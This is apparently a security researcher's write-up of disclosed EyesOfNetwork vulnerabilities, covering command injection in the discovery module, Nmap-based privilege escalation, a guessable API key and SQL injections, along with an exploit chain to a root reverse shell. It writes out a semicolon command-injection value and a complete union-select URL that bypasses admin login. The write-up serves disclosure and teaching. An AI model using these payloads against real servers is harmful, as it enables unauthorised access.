In this article I will share with you the story behind the CVE’s I found on EyesOfNetwork. EON is an IT monitoring solution based on Nagios and Cacti; it provides an easy-to-use web interface for its users.
TL;DR Multiple issues were found on EON while I was initially developing a simple exploit PoC (SQLi’s, LPE, OS commands, Guessable API key). I made a GitHub repository with the related issues and exploit scripts; You can jump to the end of this article to get all the links and details.
The ‘Discovery’
Few months ago; I had a pentest for one of our customers and I came across an EyesOfNetwork server (EON) with its default credentials (admin/admin).
Once authenticated, I noticed our customer used custom script to monitor some specific servers without any given parameters in EON web interface; I wanted to read the content of the scripts but the web interface doesn’t provide this feature and the only port accessible was 443.
I searched for a way to be able to run arbitrary commands on the system and I found out it was possible by abusing the discovery module of EON. One could simply add a semicolon in the target field followed by our command ;id:
We could confirm our command got executed in the discovery job logs:
The next step would be to get a reverse shell in order interact more easily with the server:
The privilege escalation
Unfortunately, the script files I was looking for were created by root and I couldn’t read them directly with the current apache user. However, the discovery module of EON uses Nmap and by looking at our sudo rights I noticed that the apache user could indeed run Nmap as root:
Since Nmap 7, we have multiple options to execute arbitrary commands ( --exec, --sh-exec, etc) but EON uses Nmap 6 which doesn’t provide theses. We could create a specific NSE script that would allow us to execute arbitrary commands. The screenshot below shows a specially crafted NSE script followed by the Nmap command to use it and finally the id command output with root privileges:
Another discovery !
At this point, I was able to move along with our assessment and I planned to report these issues to the developers of EON later.
I wanted to code a Python exploit to automatically obtain the reverse shell directly from the terminal. I initially wanted to use the provided API to authenticate to EON and then create the discovery job from it but I found out two things:
- The API doesn’t allow to create a discovery job; It won’t be useful for this
- There is an SQL injection in the getApiKey function…
Things got even more interesting ! I was able to locate in the PHP code the function which does the SQL request and reproduce it in the MariaDB console:
By crafting a specific Union payload, I confirmed that I was able to interact with the database:
As the initial SQL query is made to retrieve the authentication details; we could overwrite the user_passwd field by a password hash we know and provide the associated password in the HTTP authentication request.
On the screenshot below we can see the original request that would be made during an authentication attempt followed by our specially crafted payload:
Here you can see following request being done directly in the browser: /eonapi/getApiKey?&username=' union select 1,'admin','1c85d47ff80b5ff2a4dd577e8e5f8e9d',0,0,1,1,8 or '&password=h4knet
The hash we provided was the md5sum of the string h4knet that we also provided in the password field. We are now able to authenticate through the API as the admin user without knowing his password! 🥳
The exploit
I still wanted to write an exploit but it would need to do some extra things as well as triggering the LPE + reverse shell back onto our machine:
- Exploit the SQL injection in the API to authenticate as the admin user
- Create a new admin user from the API
- Authenticate normally with our newly created user
- Create a new discovery job that would elevate our privileges and then trigger a reverse shell as root
- Spawn a netcat listener
- Remove the previously created job after netcat is exited
Here you can see the script in action:
More discoveries…
After that I got some time to dig a bit more in EON code and I found two more issues:
- The API key was based on the IP address of the server and a fixed string; We could easily guess the key as the only secret is the IP address: CVE-2020–8657
- The
user_idparameter in the cookies of was also vulnerable to an SQL injection (from EON 5.1 to 5.3): CVE-2020–9465
The latest SQL injection led to another exploit script that would have to be a bit more creative to successfully get unauthenticated access to the app. I’ll keep the details for another article.
Reporting the issues
I opened issues on the GitHub projects of EyesOfNetwork and the developers team was really responsive in addressing the most severe issues. They quickly shipped an update that would fix theses.
Conclusion
As we can see, it all started with default credentials; after that, things escalated a bit 😉 If I didn’t want to write an exploit in the beginning, I might never have found the SQL injections along with the guessable API key issue.
It was fascinating to dig in each of these issues, and we can see that SQL injection are still a thing.
Both SQL injections could have been easily spotted with a static code analysis tools.
Here is the table with the CVE’s used in the exploits with its description:
You can find more details about CVE-2020–8657 here: https://github.com/EyesOfNetworkCommunity/eonapi/issues/17
Links
Imade a small rump at Bière Sécu Toulouse in March 2020 (right before Covid-19, old times…); You can get the presentation here:
Here is the GitHub repo I created with the exploits, the CVE’s details and PoC’s:
Erik Wynter also wrote a nice Metasploit module which is now in the default Mestasploit release:
